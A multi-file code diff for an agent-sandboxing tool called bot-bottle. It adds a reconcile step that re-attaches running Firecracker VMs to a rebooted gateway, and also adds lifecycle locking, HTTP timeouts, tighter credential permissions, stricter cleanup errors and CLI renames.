-            guest_ip = _guest_ip_from_config(run_dir / "config.json")
-            private_key = run_dir / "bottle_id_ed25519"
-            if not guest_ip or not private_key.is_file():
-                continue
-            proc = subprocess.run(
-                util.ssh_base_argv(private_key, guest_ip)
-                + [f"cat {_ENV_VAR_SECRET_PATH}"],
-                capture_output=True, text=True, check=False,
-            )
-            if proc.returncode == 0 and proc.stdout.strip():
-                secrets_by_ip[guest_ip] = proc.stdout.strip()
-        count = reprovision_bottles(client, secrets_by_ip)
-        if count:
-            info(f"reprovisioned egress tokens for {count} Firecracker bottle(s)")
-    except (OSError, OrchestratorClientError) as exc:
-        info(f"egress token reprovision skipped: {exc}")
-
-
 def launch_consolidated(
    egress_plan: EgressPlan,
    git_gate_plan: GitGatePlan,
@@ -126,7 +89,6 @@ def launch_consolidated(
    service = FirecrackerInfraService()
    url = service.ensure_running()
    client = OrchestratorClient(url)
-    _reprovision_running_bottles(client)

    # Read the gateway's provisioning transport + CA off the Gateway service.
    gateway = service.gateway()
@@ -17,6 +17,7 @@ from ...orchestrator.lifecycle import DEFAULT_STARTUP_TIMEOUT_SECONDS
 from . import infra_vm
 from .gateway import FirecrackerGateway
 from .orchestrator import FirecrackerOrchestrator
+from .reconcile import attach_bottled_agents_to_gateway


 class FirecrackerInfraService(InfraService):
@@ -67,9 +68,11 @@ class FirecrackerInfraService(InfraService):
            # holds the signing key) mints the role-scoped `gateway` JWT for the
            # gateway, which never sees the key (#469).
            orchestrator.ensure_running(startup_timeout=startup_timeout)
-            self.gateway().connect_to_orchestrator(
+            gateway = self.gateway()
+            gateway.connect_to_orchestrator(
                orchestrator.gateway_url(), orchestrator.mint_gateway_token())
            infra_vm.record_booted_version(want)
+            attach_bottled_agents_to_gateway(url, gateway)
            return url

    def stop(self) -> None:
@@ -41,6 +41,8 @@ from ... import resources
 from ...log import die, info
 from . import util

+ARTIFACT_HTTP_TIMEOUT_SECONDS = 30.0
+
 # Bump if the on-disk artifact *format* changes (compression, layout) so a new
 # scheme can't collide with a cached/published artifact of the old one.
 _ARTIFACT_FORMAT = "1"
@@ -164,7 +166,9 @@ def _download(url: str, dest: Path) -> None:
    """Stream `url` to `dest` (atomic via a `.part` sibling)."""
    tmp = dest.with_suffix(dest.suffix + ".part")
    try:
-        with urllib.request.urlopen(_open(url)) as resp, open(tmp, "wb") as out:
+        with urllib.request.urlopen(
+            _open(url), timeout=ARTIFACT_HTTP_TIMEOUT_SECONDS,
+        ) as resp, open(tmp, "wb") as out:
            shutil.copyfileobj(resp, out, _CHUNK)
    except urllib.error.HTTPError as e:
        tmp.unlink(missing_ok=True)
@@ -204,7 +204,7 @@ def boot_vm(
    Records the PID."""
    if not netpool.tap_present(slot.iface):
        die(f"infra link {slot.iface} not present.\n"
-            f"    ./cli.py backend setup --backend=firecracker")
+            f"    bot-bottle backend setup --backend=firecracker")

    run_dir.mkdir(parents=True, exist_ok=True)
    rootfs = run_dir / "rootfs.ext4"
@@ -108,7 +108,7 @@ def verify_isolation(private_key: Path, guest_ip: str) -> None:
        die(f"ISOLATION FAILURE: the VM reached the host canary "
            f"{canary_ip}:{canary_port}. The egress boundary is not in "
            f"force — refusing to run the agent (fail-closed). Verify the "
-            f"nft table with: ./cli.py backend setup --backend=firecracker")
+            f"nft table with: bot-bottle backend setup --backend=firecracker")
    if result.returncode == 2:
        die("isolation probe inconclusive: the guest has no python3/bash/nc "
            "to run the connectivity test. Refusing to continue "
@@ -46,7 +46,7 @@ from ...log import die, info, warn
 from ...supervisor.types import SUPERVISE_PORT
 from ..docker.egress import EGRESS_PORT
 from ..util import AGENT_CA_BUNDLE, AGENT_CA_PATH
-from . import firecracker_vm, image_builder, isolation_probe, netpool, util
+from . import firecracker_vm, image_builder, isolation_probe, lifecycle_lock, netpool, util
 from .bottle import FirecrackerBottle
 from .bottle_plan import FirecrackerBottlePlan
 from ...orchestrator.store.config_store import resolve_teardown_timeout
@@ -164,25 +164,29 @@ def launch(
        )

        # Step 6: build the per-bottle rootfs + SSH key, then boot.
-        run_dir = util.cache_dir() / "run" / plan.slug
-        run_dir.mkdir(parents=True, exist_ok=True)
-        # Remove the run dir on teardown so the per-bottle rootfs.ext4 (~1G)
-        # doesn't leak. Registered before vm.terminate below so it runs *after*
-        # it (ExitStack is LIFO): the VM is gone before we rm its rootfs.
-        stack.callback(lambda: shutil.rmtree(run_dir, ignore_errors=True))
-        rootfs = run_dir / "rootfs.ext4"
-        util.build_rootfs_ext4(agent_base, rootfs)
-        private_key, pubkey = util.generate_keypair(run_dir)
+        # Cleanup takes the same lock while refreshing its process snapshot.
+        # Hold it until the VMM exists so a newly-created run dir can never be
+        # mistaken for an orphan in the build-before-boot window.
+        with lifecycle_lock.hold():
+            run_dir = util.cache_dir() / "run" / plan.slug
+            run_dir.mkdir(parents=True, exist_ok=True)
+            # Remove the run dir on teardown so the per-bottle rootfs.ext4 (~1G)
+            # doesn't leak. Registered before vm.terminate below so it runs
+            # *after* it (ExitStack is LIFO).
+            stack.callback(lambda: shutil.rmtree(run_dir, ignore_errors=True))
+            rootfs = run_dir / "rootfs.ext4"
+            util.build_rootfs_ext4(agent_base, rootfs)
+            private_key, pubkey = util.generate_keypair(run_dir)

-        vm = firecracker_vm.boot(
-            name=plan.container_name,
-            rootfs=rootfs,
-            tap=slot.iface,
-            guest_ip=slot.guest_ip,
-            host_ip=slot.host_ip,
-            pubkey=pubkey,
-            run_dir=run_dir,
-        )
+            vm = firecracker_vm.boot(
+                name=plan.container_name,
+                rootfs=rootfs,
+                tap=slot.iface,
+                guest_ip=slot.guest_ip,
+                host_ip=slot.host_ip,
+                pubkey=pubkey,
+                run_dir=run_dir,
+            )
        stack.callback(vm.terminate)
        firecracker_vm.wait_for_ssh(vm, private_key)
        persist_env_var_secret(private_key, slot.guest_ip, ctx.env_var_secret)
@@ -0,0 +1,30 @@
+"""Serialize Firecracker run-directory creation with orphan cleanup."""
+
+from __future__ import annotations
+
+import fcntl
+from contextlib import contextmanager
+from pathlib import Path
+from typing import Generator
+
+from . import util
+
+
+def _lock_path() -> Path:
+    return util.cache_dir() / "run.lifecycle.lock"
+
+
+@contextmanager
+def hold() -> Generator[None]:
+    """Exclude cleanup while a launch directory lacks a visible VMM."""
+    path = _lock_path()
+    path.parent.mkdir(parents=True, exist_ok=True)
+    with path.open("a", encoding="utf-8") as handle:
+        fcntl.flock(handle, fcntl.LOCK_EX)
+        try:
+            yield
+        finally:
+            fcntl.flock(handle, fcntl.LOCK_UN)
+
+
+__all__ = ["hold"]
@@ -3,7 +3,7 @@ config renderers (shell command + NixOS module) shown to operators.

 The Firecracker backend needs a privileged one-time network setup:
 a pool of point-to-point TAP devices (owned by the invoking user, so
-`./cli.py start` never needs root) and a dedicated nftables table that
+`bot-bottle start` never needs root) and a dedicated nftables table that
 isolates every VM. The pool parameters live in exactly one place —
 `netpool.defaults.env`, a plain KEY=VALUE file next to this module —
 and every consumer reads *that*: this module (below), the shell script
@@ -177,14 +177,20 @@ def gw_slot() -> Slot:
 # --- fail-closed verification ---------------------------------------

 def _run_ok(argv: list[str]) -> bool:
-    """Run a probe command, treating a missing binary as failure
+    """Run a probe command, treating an unavailable binary as failure
    (rather than crashing) so callers can stay fail-closed."""
    try:
        return subprocess.run(
            argv, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
            check=False,
        ).returncode == 0
-    except FileNotFoundError:
+    except OSError:
+        # Not only "missing". A name on PATH that isn't executable by this
+        # user raises PermissionError, and CPython reports that EACCES in
+        # preference to the ENOENT from the other PATH entries — which is
+        # how `doctor` came to die with a traceback on a fresh macOS
+        # account. Any OSError means the probe couldn't run, which for a
+        # fail-closed check is indistinguishable from "not present".
        return False


@@ -244,7 +250,9 @@ def overlapping_routes() -> list[RouteConflict]:
            ["ip", "-json", "route", "show", "table", "all"],
            capture_output=True, text=True, check=False,
        )
-    except FileNotFoundError:
+    except OSError:
+        # Missing, or present-but-not-executable for this user; either way
+        # there are no routes we can enumerate. See _run_ok.
        return []
    if proc.returncode != 0 or not proc.stdout.strip():
        return []
@@ -307,11 +315,11 @@ def allocate(slug: str) -> tuple[Slot, IO[str]]:
        return s, handle
    die(f"Firecracker TAP pool exhausted ({pool_size()} slots, all in "
        f"use). Stop a running bottle or raise BOT_BOTTLE_FC_POOL_SIZE "
-        f"and re-run `./cli.py backend setup --backend=firecracker`.")
+        f"and re-run `bot-bottle backend setup --backend=firecracker`.")
    raise AssertionError("unreachable")


-# --- config renderers (shown by `./cli.py backend setup`) -----------
+# --- config renderers (shown by `bot-bottle backend setup`) -----------

 # The persistent unit is the portable install: the same systemd oneshot
 # on every systemd distro (Debian/Ubuntu/Fedora/RHEL/Arch/…).
@@ -34,6 +34,7 @@ from pathlib import Path
 from . import infra_artifact, infra_vm, util

 _CHUNK = 1 << 20
+_REGISTRY_HTTP_TIMEOUT_SECONDS = 30.0

 _GZ_NAME = "rootfs.ext4.gz"
 _SHA_NAME = "rootfs.ext4.gz.sha256"
@@ -91,7 +92,9 @@ def _put(url: str, body: "bytes | Path", token: str) -> None:
        req.add_header("Authorization", f"token {token}")
    req.add_header("Content-Type", "application/octet-stream")
    try:
-        with urllib.request.urlopen(req) as resp:
+        with urllib.request.urlopen(
+            req, timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ) as resp:
            print(f"  uploaded {url} (HTTP {resp.status})")
    except urllib.error.HTTPError as e:
        if e.code == 409:
@@ -112,7 +115,9 @@ def _delete(url: str, token: str) -> None:
    if token:
        req.add_header("Authorization", f"token {token}")
    try:
-        with urllib.request.urlopen(req):
+        with urllib.request.urlopen(
+            req, timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ):
            pass
    except urllib.error.HTTPError as e:
        if e.code != 404:
@@ -151,7 +156,10 @@ def _try_download_published(role: str, role_dir: Path) -> str | None:
    version = _role_version(role)
    sha_url = infra_artifact.artifact_url(version, _SHA_NAME, role=role)
    try:
-        with urllib.request.urlopen(infra_artifact._open(sha_url)):
+        with urllib.request.urlopen(
+            infra_artifact._open(sha_url),
+            timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ):
            pass
    except urllib.error.HTTPError as e:
        if e.code == 404:
@@ -195,7 +203,10 @@ def _publish_bundle(role: str, role_dir: Path, token: str) -> str:
    # present, a re-publish is a no-op. Otherwise clear any partial upload left
    # by an interrupted prior attempt and upload the complete set.
    try:
-        with urllib.request.urlopen(infra_artifact._open(sha_url)) as resp:
+        with urllib.request.urlopen(
+            infra_artifact._open(sha_url),
+            timeout=_REGISTRY_HTTP_TIMEOUT_SECONDS,
+        ) as resp:
            remote_sha = resp.read().decode("utf-8").split()[0].strip().lower()
    except urllib.error.HTTPError as e:
        if e.code != 404:
@@ -0,0 +1,199 @@
+"""Bring-up reconcile: re-attach all running agent VMs to a freshly-booted gateway.
+
+Called from the cold-boot branch of `FirecrackerInfraService.ensure_running()`
+after `gateway.connect_to_orchestrator()` completes. Restores the three
+gateway-dependent services for every live bottle:
+
+  - **CA** — push the current (freshly-minted) gateway CA to each agent's
+    trust store and run `update-ca-certificates`, so the agent trusts the
+    new CA on its next egress call.
+  - **git-gate** — re-provision each bottle's bare repos and per-repo creds
+    in the gateway, rebuilt from the persisted host-side state dir.
+  - **egress tokens** — read the agent's `ENV_VAR_SECRET` and feed
+    `reprovision_bottles` to restore the orchestrator's in-memory tokens.
+
+Per-bottle failures are caught, logged, and skipped so one unreachable VM
+does not block the others or the gateway coming up (PRD 0081).
+"""
+
+from __future__ import annotations
+
+import json
+import subprocess
+from pathlib import Path
+
+from ...bottle_state import git_gate_state_dir
+from ...gateway import GatewayError
+from ...gateway.git_gate.render import GitGateUpstream
+from ...git_gate.plan import GitGatePlan
+from ...log import info
+from ...orchestrator.client import OrchestratorClient, OrchestratorClientError
+from ...orchestrator.reprovision import reprovision_bottles
+from ..provision_gateway import provision_git_gate
+from ..util import AGENT_CA_PATH
+from . import cleanup, util
+from .gateway import FirecrackerGateway
+
+# Where persist_env_var_secret writes the key on the agent VM (matches
+# consolidated_launch._ENV_VAR_SECRET_PATH — duplicated to avoid a
+# circular import through infra.py).
+_ENV_VAR_SECRET_PATH = "/run/bot-bottle/env-var-secret"
+
+
+def _guest_ip_from_config(config_path: Path) -> str:
+    """Read the agent VM's guest IP from its Firecracker config file."""
+    try:
+        config = json.loads(config_path.read_text())
+        args = config["boot-source"]["boot_args"]
+        ip_arg = next(p for p in args.split() if p.startswith("ip="))
+        return ip_arg.removeprefix("ip=").split(":", 1)[0]
+    except (OSError, ValueError, KeyError, TypeError, StopIteration):
+        return ""
+
+
+def attach_bottled_agents_to_gateway(
+    orchestrator_url: str, gateway: FirecrackerGateway,
+) -> None:
+    """Reconcile all live agent VMs against the freshly-booted gateway.
+
+    Fetches the new CA, lists registered bottles, then for each live run dir
+    pushes the CA, re-provisions git-gate, and restores egress tokens. Each
+    per-bottle step is wrapped so a failure is logged and skipped."""
+    try:
+        ca_pem = gateway.ca_cert_pem()
+    except GatewayError as exc:
+        info(f"bring-up reconcile: could not fetch gateway CA, skipping: {exc}")
+        return
+
+    client = OrchestratorClient(orchestrator_url)
+    try:
+        bottles = client.list_bottles()
+    except OrchestratorClientError as exc:
+        info(f"bring-up reconcile: could not list bottles, skipping: {exc}")
+        return
+
+    source_ip_to_bottle_id: dict[str, str] = {}
+    for b in bottles:
+        source_ip = b.get("source_ip")
+        bottle_id = b.get("bottle_id")
+        if isinstance(source_ip, str) and isinstance(bottle_id, str):
+            source_ip_to_bottle_id[source_ip] = bottle_id
+
+    transport = gateway.provisioning_transport()
+    secrets_by_ip: dict[str, str] = {}
+
+    for run_dir in cleanup.live_run_dirs():
+        slug = run_dir.name
+        guest_ip = _guest_ip_from_config(run_dir / "config.json")
+        private_key = run_dir / "bottle_id_ed25519"
+        if not guest_ip or not private_key.is_file():
+            continue
+
+        # CA: push the gateway's current certificate to the agent's trust store.
+        try:
+            _push_ca(private_key, guest_ip, ca_pem)
+        except Exception as exc:
+            info(f"bring-up reconcile: CA push to {slug!r} failed: {exc}")
+
+        # git-gate: re-provision repos + creds from the persisted state dir.
+        bottle_id = source_ip_to_bottle_id.get(guest_ip)
+        if bottle_id:
+            try:
+                _reprovision_git_gate(transport, bottle_id, slug)
+            except Exception as exc:
+                info(f"bring-up reconcile: git-gate for {slug!r} failed: {exc}")
+
+        # egress tokens: read ENV_VAR_SECRET from the agent's tmpfs.
+        proc = subprocess.run(
+            util.ssh_base_argv(private_key, guest_ip) + [f"cat {_ENV_VAR_SECRET_PATH}"],
+            capture_output=True, text=True, check=False,
+        )
+        if proc.returncode == 0 and proc.stdout.strip():
+            secrets_by_ip[guest_ip] = proc.stdout.strip()
+
+    # Restore in-memory egress tokens for all bottles that exposed a key.
+    if secrets_by_ip:
+        try:
+            count = reprovision_bottles(client, secrets_by_ip)
+            if count:
+                info(
+                    f"bring-up reconcile: restored egress tokens for {count} bottle(s)"
+                )
+        except OrchestratorClientError as exc:
+            info(f"bring-up reconcile: egress token restore failed: {exc}")
+
+
+def _push_ca(private_key: Path, guest_ip: str, ca_pem: str) -> None:
+    """SSH the gateway CA PEM into the agent VM and update its trust store.
+
+    Runs as the SSH root user (the agent VM's dropbear accepts root). Each
+    step uses check=True so a failure raises and the caller's except clause
+    logs and continues."""
+    ssh = util.ssh_base_argv(private_key, guest_ip)
+    # mkdir is idempotent; rootfs builds may not preserve the target dir.
+    subprocess.run(
+        ssh + ["mkdir -p /usr/local/share/ca-certificates"],
+        capture_output=True, check=True,
+    )
+    subprocess.run(
+        ssh + [f"cat > {AGENT_CA_PATH}"],
+        input=ca_pem, text=True, capture_output=True, check=True,
+    )
+    subprocess.run(
+        ssh + [f"chmod 644 {AGENT_CA_PATH} && update-ca-certificates"],
+        capture_output=True, check=True,
+    )
+
+
+def _reprovision_git_gate(
+    transport: object, bottle_id: str, slug: str,
+) -> None:
+    """Re-provision one bottle's git-gate repos and creds from its state dir.
+
+    Reads `upstreams.json` (written by `provision_git_gate_dynamic_keys` at
+    launch) to reconstruct the GitGateUpstream table, then calls
+    `provision_git_gate` which places the credential files and inits the bare
+    repos in the gateway. No-op when there is no `upstreams.json` (the bottle
+    has no git upstreams)."""
+    state_dir = git_gate_state_dir(slug)
+    upstreams_file = state_dir / "upstreams.json"
+    if not upstreams_file.exists():
+        return
+
+    raw = json.loads(upstreams_file.read_text())
+    upstreams: list[GitGateUpstream] = []
+    for u in raw:
+        name = u["name"]
+        # The key in the state dir is preferred: gitea deploy keys are written
+        # there by provision_git_gate_dynamic_keys; static keys keep their
+        # original manifest path.
+        key_in_state = state_dir / f"{name}-key"
+        identity_file = (
+            str(key_in_state) if key_in_state.is_file()
+            else u.get("identity_file", "")
+        )
+        known_hosts = state_dir / f"{name}-known_hosts"
+        upstreams.append(GitGateUpstream(
+            name=name,
+            upstream_url=u["upstream_url"],
+            upstream_host=u.get("upstream_host", ""),
+            upstream_port=u.get("upstream_port", ""),
+            identity_file=identity_file,
+            known_host_key=u.get("known_host_key", ""),
+            known_hosts_file=known_hosts if known_hosts.is_file() else Path(),
+        ))
+
+    if not upstreams:
+        return
+
+    plan = GitGatePlan(
+        slug=slug,
+        entrypoint_script=state_dir / "git_gate_entrypoint.sh",
+        hook_script=state_dir / "git_gate_pre_receive.sh",
+        access_hook_script=state_dir / "git_gate_access_hook.sh",
+        upstreams=tuple(upstreams),
+    )
+    provision_git_gate(transport, bottle_id, plan)  # type: ignore[arg-type]
+
+
+__all__ = ["attach_bottled_agents_to_gateway"]
@@ -8,7 +8,7 @@ bundled setup script. `status()` reports what's present, including
 whether the pool range collides with an existing route.

 Called through `FirecrackerBottleBackend.setup` / `.status`, which the
-generic `./cli.py backend {setup,status}` command dispatches to.
+generic `bot-bottle backend {setup,status}` command dispatches to.
 """

 from __future__ import annotations
@@ -34,7 +34,7 @@ _UNIT_PATH = Path("/etc/systemd/system") / netpool.SYSTEMD_UNIT

 def _owner() -> str:
    # Under `sudo`, USER is root but SUDO_USER is the real invoker — the
-    # TAPs must be owned by them so `./cli.py start` stays rootless.
+    # TAPs must be owned by them so `bot-bottle start` stays rootless.
    return os.environ.get("SUDO_USER") or os.environ.get("USER") or "youruser"


@@ -161,7 +161,7 @@ def _setup_systemd() -> None:
        if rc == 0:
            sys.stderr.write(
                f"Installed and started {netpool.SYSTEMD_UNIT}. Verify with "
-                f"`./cli.py backend status --backend=firecracker`.\n"
+                f"`bot-bottle backend status --backend=firecracker`.\n"
            )
        else:
            sys.stderr.write(
@@ -181,7 +181,7 @@ def _setup_systemd() -> None:
    )
    sys.stderr.write(
        f"\n(Or re-run this as root to install it directly: "
-        f"sudo ./cli.py backend setup --backend=firecracker)\n"
+        f"sudo bot-bottle backend setup --backend=firecracker)\n"
    )


@@ -334,7 +334,7 @@ def status() -> int:
        sys.stderr.write(f"range overlap: none (base {netpool.ip_base()})\n")
    _report_persistence()
    if not ok:
-        sys.stderr.write("\nRun: ./cli.py backend setup --backend=firecracker\n")
+        sys.stderr.write("\nRun: bot-bottle backend setup --backend=firecracker\n")
    return 0 if ok else 1


@@ -9,7 +9,7 @@ generation.

 The privileged network setup (TAP pool + nft table) is a one-time
 operator step — see `netpool.py`, `scripts/firecracker-netpool.sh`,
-and `./cli.py backend setup --backend=firecracker`.
+and `bot-bottle backend setup --backend=firecracker`.
 """

 from __future__ import annotations
@@ -132,18 +132,18 @@ def _require_network_pool() -> None:
             f"{netpool.pool_size()} slots) overlaps existing routes: "
             f"{detail}. This can shadow or be shadowed by that route; "
             f"set BOT_BOTTLE_FC_IP_BASE to a free range and re-run "
-             f"./cli.py backend setup --backend=firecracker.")
+             f"bot-bottle backend setup --backend=firecracker.")
    missing = netpool.missing_taps()
    if missing:
        die(f"network pool incomplete — missing TAP devices: "
-            f"{', '.join(missing)}.\n    ./cli.py backend setup --backend=firecracker")
+            f"{', '.join(missing)}.\n    bot-bottle backend setup --backend=firecracker")
    if shutil.which("nft") is not None and not netpool.nft_table_present():
        # nft is queryable and says the table is absent — that's a
        # definite, catchable misconfiguration; fail early.
        warn(f"isolation table `inet {netpool.NFT_TABLE}` not found via nft. "
             "If this is a permissions issue it will be re-checked "
             "empirically after boot; otherwise run: "
-             "./cli.py backend setup --backend=firecracker")
+             "bot-bottle backend setup --backend=firecracker")


 # --- rootfs pipeline (rootless) -------------------------------------
@@ -43,7 +43,7 @@ class Freezer(ABC):

        Calls _freeze for the backend-specific snapshot, then writes the
        committed image reference to per-bottle state and marks the bottle
-        preserved so the next `./cli.py resume` boots from the snapshot.
+        preserved so the next `bot-bottle resume` boots from the snapshot.

        Raises CommitCancelled if the user declines an interactive
        confirmation prompt (e.g. the macos-container stop prompt).
@@ -51,7 +51,7 @@ class Freezer(ABC):
        image_ref = self._freeze(agent)
        write_committed_image(agent.slug, image_ref)
        mark_preserved(agent.slug)
-        info(f"to resume from this snapshot: ./cli.py resume {agent.slug}")
+        info(f"to resume from this snapshot: bot-bottle resume {agent.slug}")
        self._export_hint(agent.slug, image_ref)

    @abstractmethod
@@ -25,3 +25,11 @@ class MacosContainerBottleCleanupPlan(BottleCleanupPlan):
    @property
    def empty(self) -> bool:
        return not self.containers and not self.networks
+
+    def intersect(self, current: BottleCleanupPlan) -> "MacosContainerBottleCleanupPlan":
+        if not isinstance(current, MacosContainerBottleCleanupPlan):
+            raise TypeError("cleanup plans must have the same backend type")
+        return MacosContainerBottleCleanupPlan(
+            containers=tuple(x for x in self.containers if x in current.containers),
+            networks=tuple(x for x in self.networks if x in current.networks),
+        )
@@ -4,7 +4,9 @@ from __future__ import annotations

 import subprocess

-from ...log import info, warn
+from .. import EnumerationError
+from ..cleanup_control import CleanupFailures
+from ...log import info
 from . import util as container_mod
 from .bottle_cleanup_plan import MacosContainerBottleCleanupPlan

@@ -19,8 +21,8 @@ def _list_prefixed_containers() -> list[str]:
        check=False,
    )
    if result.returncode != 0:
-        warn(f"container list failed: {result.stderr.strip()}")
-        return []
+        detail = result.stderr.strip() or f"exit {result.returncode}"
+        raise EnumerationError(f"container list failed: {detail}")
    return sorted(
        name for name in (line.strip() for line in result.stdout.splitlines())
        if name.startswith(_PREFIX)
@@ -35,7 +37,8 @@ def _list_prefixed_networks() -> list[str]:
        check=False,
    )
    if result.returncode != 0:
-        return []
+        detail = result.stderr.strip() or f"exit {result.returncode}"
+        raise EnumerationError(f"container network list failed: {detail}")
    return sorted(
        name for name in (line.strip() for line in result.stdout.splitlines())
        if name.startswith(_PREFIX)
@@ -51,19 +54,17 @@ def prepare_cleanup() -> MacosContainerBottleCleanupPlan:


 def cleanup(plan: MacosContainerBottleCleanupPlan) -> None:
+    failures = CleanupFailures()
    for name in plan.containers:
        info(f"container delete --force {name}")
-        subprocess.run(
+        failures.run(
            ["container", "delete", "--force", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"deleting container {name}",
        )
    for name in plan.networks:
        info(f"container network delete {name}")
-        subprocess.run(
+        failures.run(
            ["container", "network", "delete", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"deleting network {name}",
        )
+    failures.raise_if_any()
@@ -5,7 +5,7 @@ Like Docker, this backend needs no privileged network-pool provisioning
 running. `setup()` points at the install/`container system start` steps;
 `status()` reports readiness. Reached via
 `MacosContainerBottleBackend.setup` / `.status`, dispatched from the
-generic `./cli.py backend {setup,status}`.
+generic `bot-bottle backend {setup,status}`.
 """

 from __future__ import annotations
@@ -75,5 +75,5 @@ def status() -> int:
        if not _service_running():
            ok = False
    if not ok:
-        sys.stderr.write("\nRun: ./cli.py backend setup --backend=macos-container\n")
+        sys.stderr.write("\nRun: bot-bottle backend setup --backend=macos-container\n")
    return 0 if ok else 1
@@ -689,6 +689,13 @@ def pinned_local_image_ref(ref: str) -> str:
    nested-containers layer. A content-derived tag prevents another concurrent
    build from moving the provider's ordinary ``:latest`` tag between those
    two builds.
+
+    Unlike Docker, `container image tag` only accepts ``image-name[:tag]`` as
+    its source and rejects a bare image ID ("cannot specify 64 byte hex string
+    as reference"), so the mutable ``ref`` is what gets tagged here. The
+    post-tag inspection below is what keeps that fail-closed: if ``ref`` moved
+    between the two commands, the new tag will not resolve to the ID this call
+    derived its name from.
    """
    image = image_id(ref)
    digest = image.removeprefix("sha256:")
@@ -701,14 +708,14 @@ def pinned_local_image_ref(ref: str) -> str:
        repository = repository[:last_colon]
    pinned_ref = f"{repository}:sha256-{digest}"
    result = subprocess.run(
-        [_CONTAINER, "image", "tag", image, pinned_ref],
+        [_CONTAINER, "image", "tag", ref, pinned_ref],
        capture_output=True,
        text=True,
        check=False,
    )
    if result.returncode != 0:
        die(
-            f"could not tag exact local image {image}: "
+            f"could not tag exact local image {image} via {ref!r}: "
            f"{(result.stderr or result.stdout or '').strip() or '<no detail>'}"
        )
    if image_id(pinned_ref) != image:
@@ -63,12 +63,23 @@ def provision_git_gate(
    transport.exec(["chmod", "+x", "/etc/git-gate/access-hook"])
    creds = _creds_dir(bottle_id)
    transport.exec(["mkdir", "-p", creds])
+    transport.exec(["chmod", "700", creds])
+    credential_paths: list[str] = []
    for u in plan.upstreams:
        if u.identity_file:
-            transport.cp_into(u.identity_file, f"{creds}/{u.name}-key")
+            key_path = f"{creds}/{u.name}-key"
+            transport.cp_into(u.identity_file, key_path)
+            credential_paths.append(key_path)
        known_hosts = str(u.known_hosts_file)
        if known_hosts and known_hosts != ".":
-            transport.cp_into(known_hosts, f"{creds}/{u.name}-known_hosts")
+            known_hosts_path = f"{creds}/{u.name}-known_hosts"
+            transport.cp_into(known_hosts, known_hosts_path)
+            credential_paths.append(known_hosts_path)
+    # Copy-mode behavior differs across Docker, Apple Container, and SSH.
+    # Apply the security contract inside the gateway so every backend produces
+    # the same private credential namespace.
+    if credential_paths:
+        transport.exec(["chmod", "600", *credential_paths])
    # Init the bare repos + per-repo credential config for this namespace.
    script = git_gate_render_provision(bottle_id, plan.upstreams)
    transport.exec(["sh", "-c", script])
@@ -86,7 +86,7 @@ def _print_vm_install_instructions() -> None:
        info("Then start the service:  container system start")
    else:
        info("Install Firecracker: https://github.com/firecracker-microvm/firecracker/releases")
-        info("Configure the host:  ./cli.py backend setup")
+        info("Configure the host:  bot-bottle backend setup")


 def _auto_select_backend(prompt: bool = True) -> str:
@@ -1,9 +1,9 @@
 """`backend` CLI command — generic host setup/status across backends.

-`./cli.py backend setup    [--backend=NAME]` provisions (or points at how
+`bot-bottle backend setup    [--backend=NAME]` provisions (or points at how
 to provision) the chosen backend's one-time host prerequisites.
-`./cli.py backend status   [--backend=NAME]` reports readiness.
-`./cli.py backend teardown [--backend=NAME]` undoes setup (uninstall).
+`bot-bottle backend status   [--backend=NAME]` reports readiness.
+`bot-bottle backend teardown [--backend=NAME]` undoes setup (uninstall).

 All dispatch to the backend's `setup()` / `status()` / `teardown()`
 classmethods, so there are no backend-specific commands — swapping
@@ -1,7 +1,7 @@
 """cleanup: stop and remove all orphaned bot-bottle resources.

 Walks every registered backend (docker, firecracker, macos-container)
-so a single `./cli.py cleanup` reaps every backend's leftovers — a
+so a single `bot-bottle cleanup` reaps every backend's leftovers — a
 firecracker bottle's VM processes and run dirs won't survive a
 docker-only cleanup pass (issue addressed alongside #77).

@@ -22,6 +22,7 @@ from __future__ import annotations
 import sys

 from ...backend import get_bottle_backend, has_backend, known_backend_names
+from ...backend.cleanup_control import CleanupError
 from ...log import info
 from ...util import read_tty_line

@@ -52,10 +53,20 @@ def cmd_cleanup(_argv: list[str]) -> int:
        info("cleanup: skipped")
        return 0

-    for name, backend, plan in prepared:
-        if plan.empty:
+    # Confirmation authorizes a fresh authoritative snapshot, not blind use of
+    # identities that may have changed while the operator reviewed the preview.
+    failures: list[str] = []
+    for name, backend, displayed in prepared:
+        current = backend.prepare_cleanup()
+        approved = displayed.intersect(current)
+        if approved.empty:
            continue
-        backend.cleanup(plan)
+        try:
+            backend.cleanup(approved)
+        except CleanupError as exc:
+            failures.append(f"{name}: {exc}")
+    if failures:
+        raise CleanupError("cleanup incomplete: " + "; ".join(failures))
    info("cleanup: done")
    return 0

@@ -4,7 +4,7 @@ Docker bottles are committed to a local Docker image. Macos-container
 bottles are exported and rebuilt as a local Apple Container image.
 Firecracker bottles stream the guest rootfs out over SSH and rebuild a
 local Docker image. The resulting reference is stored in per-bottle
-state so the next `./cli.py resume <slug>` boots from the snapshot
+state so the next `bot-bottle resume <slug>` boots from the snapshot
 instead of rebuilding from the Dockerfile.
 """

@@ -37,7 +37,7 @@ def cmd_commit(argv: list[str]) -> int:
    if slug is None:
        active = enumerate_active_agents()
        if not active:
-            die("no active bottles; start one with `./cli.py start`")
+            die("no active bottles; start one with `bot-bottle start`")
        choices = [a.slug for a in active]
        slug = tui.filter_select(choices, title="Select bottle to commit")
        if slug is None:
@@ -8,7 +8,7 @@ override and transcript snapshot under the same state dir.

 Use case: an interrupted or preserved bottle needs to be relaunched;
 the operator runs
-    ./cli.py resume <identity>
+    bot-bottle resume <identity>
 to bring up the replacement from the recorded state.
 """

@@ -203,19 +203,19 @@ def _start_headless(
    if not os.isatty(stdin_fd):
        die(
            "--headless requires a PTY on stdin; run via:\n"
-            "  script -q /dev/null ./cli.py start ..."
+            "  script -q /dev/null bot-bottle start ..."
        )

    agent_name = args.name
    if not agent_name:
-        die("--headless requires an agent name: ./cli.py start <agent> --headless")
+        die("--headless requires an agent name: bot-bottle start <agent> --headless")
    manifest.require_agent(agent_name)  # raises ManifestError if unknown

    prompt = args.prompt
    if not prompt:
        die(
            "--headless requires --prompt: "
-            "./cli.py start <agent> --headless --prompt 'Do the thing'"
+            "bot-bottle start <agent> --headless --prompt 'Do the thing'"
        )

